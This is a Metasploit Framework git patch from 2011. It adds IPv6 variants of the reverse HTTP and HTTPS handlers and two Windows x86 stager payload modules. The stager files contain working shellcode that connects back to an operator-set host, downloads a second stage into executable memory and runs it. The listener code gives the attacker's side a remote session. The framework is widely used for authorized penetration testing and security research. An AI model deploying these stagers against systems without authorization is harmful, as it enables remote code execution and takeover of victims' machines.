From 17cc89ebad1dec9133bfcb99d3394d49ee682b96 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 11 Dec 2011 13:26:48 -0600 Subject: [PATCH] Add IPv6 specific HTTP(S) handlers and payloads (simplifies options/usage) --- lib/msf/core/handler/reverse_http.rb | 11 +- lib/msf/core/handler/reverse_https.rb | 20 +++- lib/msf/core/handler/reverse_ipv6_http.rb | 33 ++++++ lib/msf/core/handler/reverse_ipv6_https.rb | 33 ++++++ .../stagers/windows/reverse_ipv6_http.rb | 98 +++++++++++++++++ .../stagers/windows/reverse_ipv6_https.rb | 100 ++++++++++++++++++ 6 files changed, 290 insertions(+), 5 deletions(-) create mode 100644 lib/msf/core/handler/reverse_ipv6_http.rb create mode 100644 lib/msf/core/handler/reverse_ipv6_https.rb create mode 100644 modules/payloads/stagers/windows/reverse_ipv6_http.rb create mode 100644 modules/payloads/stagers/windows/reverse_ipv6_https.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 37a53e82b3..a2f179a3db 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -49,6 +49,13 @@ module ReverseHttp ], Msf::Handler::ReverseHttps) end + # + # Toggle for IPv4 vs IPv6 mode + # + def ipv6 + self.refname.index('ipv6') ? true : false + end + # # Create a HTTP listener # @@ -64,7 +71,7 @@ module ReverseHttp # Start the HTTPS server service on this host/port self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, datastore['LPORT'].to_i, - '0.0.0.0', + ipv6 ? '::' : '0.0.0.0', false, { 'Msf' => framework, @@ -130,6 +137,8 @@ protected if lhost.empty? or lhost == '0.0.0.0' lhost = Rex::Socket.source_address(cli.peerhost) end + + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) # Process the requested resource. case req.relative_resource diff --git a/lib/msf/core/handler/reverse_https.rb b/lib/msf/core/handler/reverse_https.rb index 5460f9cc7f..cb9939ad13 100644 --- a/lib/msf/core/handler/reverse_https.rb +++ b/lib/msf/core/handler/reverse_https.rb @@ -48,6 +48,13 @@ module ReverseHttps OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]) ], Msf::Handler::ReverseHttps) end + + # + # Toggle for IPv4 vs IPv6 mode + # + def ipv6 + self.refname.index('ipv6') ? true : false + end # # Create an HTTPS listener @@ -64,7 +71,7 @@ module ReverseHttps # Start the HTTPS server service on this host/port self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, datastore['LPORT'].to_i, - '0.0.0.0', + ipv6 ? '::' : '0.0.0.0', true, { 'Msf' => framework, @@ -85,7 +92,10 @@ module ReverseHttps 'VirtualDirectory' => true) self.conn_ids = [] - print_status("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/") + + uhost = datastore['LHOST'] + uhost = "[#{uhost}]" if Rex::Socket.is_ipv6?(uhost) + print_status("Started HTTPS reverse handler on https://#{uhost}:#{datastore['LPORT']}/") end # @@ -125,12 +135,14 @@ protected print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...") lhost = datastore['LHOST'] - + # Default to our own IP if the user specified 0.0.0.0 (pebkac avoidance) - if lhost.empty? or lhost == '0.0.0.0' + if lhost.empty? or lhost == '0.0.0.0'or lhost == '::' lhost = Rex::Socket.source_address(cli.peerhost) end + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + # Process the requested resource. case req.relative_resource when /^\/INITJM/ diff --git a/lib/msf/core/handler/reverse_ipv6_http.rb b/lib/msf/core/handler/reverse_ipv6_http.rb new file mode 100644 index 0000000000..ef6ae91f99 --- /dev/null +++ b/lib/msf/core/handler/reverse_ipv6_http.rb @@ -0,0 +1,33 @@ +require 'msf/core/handler/reverse_http' + +module Msf +module Handler + +### +# +# This handler implements the HTTP tunneling interface. +# +### +module ReverseIPv6Http + + include Msf::Handler::ReverseHttp + + # + # Override the handler_type to indicate IPv6 mode + # + def self.handler_type + return "reverse_ipv6_http" + end + + # + # Returns the connection-described general handler type, in this case + # 'tunnel'. + # + def self.general_handler_type + "tunnel" + end + +end +end +end + diff --git a/lib/msf/core/handler/reverse_ipv6_https.rb b/lib/msf/core/handler/reverse_ipv6_https.rb new file mode 100644 index 0000000000..dff065045b --- /dev/null +++ b/lib/msf/core/handler/reverse_ipv6_https.rb @@ -0,0 +1,33 @@ +require 'msf/core/handler/reverse_https' + +module Msf +module Handler + +### +# +# This handler implements the HTTP SSL tunneling interface. +# +### +module ReverseIPv6Https + + include Msf::Handler::ReverseHttps + + # + # Override the handler_type to indicate IPv6 mode + # + def self.handler_type + return "reverse_ipv6_https" + end + + # + # Returns the connection-described general handler type, in this case + # 'tunnel'. + # + def self.general_handler_type + "tunnel" + end + +end +end +end + diff --git a/modules/payloads/stagers/windows/reverse_ipv6_http.rb b/modules/payloads/stagers/windows/reverse_ipv6_http.rb new file mode 100644 index 0000000000..bd6f6accf4 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_ipv6_http.rb @@ -0,0 +1,98 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/handler/reverse_ipv6_http' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse HTTP Stager (IPv6)', + 'Version' => '$Revision$', + 'Description' => 'Tunnel communication over HTTP and IPv6', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseIPv6Http, + 'Convention' => 'sockedi http', + 'Stager' => + { + 'Offsets' => + { + # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) + # 'EXITFUNC' => [ 290, 'V' ], + 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian + }, + 'Payload' => + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" + + "\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" + + "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + + "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" + + "\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + + "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" + + "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" + + "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" + + "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" + + "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" + + "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" + + "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF" + } + )) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end + + # + # Generate the first stage + # + def generate + p = super + i = p.index("/12345\x00") + u = "/INITM\x00" + p[i, u.length] = u + + lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000" + if Rex::Socket.is_ipv6?(lhost) + lhost = "[#{lhost}]" + end + + p + lhost + "\x00" + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end +end + diff --git a/modules/payloads/stagers/windows/reverse_ipv6_https.rb b/modules/payloads/stagers/windows/reverse_ipv6_https.rb new file mode 100644 index 0000000000..56bb2389c5 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_ipv6_https.rb @@ -0,0 +1,100 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/handler/reverse_ipv6_https' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse HTTPS Stager (IPv6)', + 'Version' => '$Revision$', + 'Description' => 'Tunnel communication over HTTP using SSL and IPv6', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseIPv6Https, + 'Convention' => 'sockedi https', + 'Stager' => + { + 'Offsets' => + { + # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) + # 'EXITFUNC' => [ 290, 'V' ], + 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian + }, + 'Payload' => + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" + + "\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" + + "\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + + "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" + + "\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + + "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" + + "\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" + + "\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" + + "\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" + + "\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" + + "\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" + + "\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" + + "\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x51" + + "\xFF\xFF\xFF" + } + )) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end + + # + # Generate the first stage + # + def generate + p = super + i = p.index("/12345\x00") + u = "/INITM\x00" + p[i, u.length] = u + + lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000" + if Rex::Socket.is_ipv6?(lhost) + lhost = "[#{lhost}]" + end + + p + lhost + "\x00" + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end +end +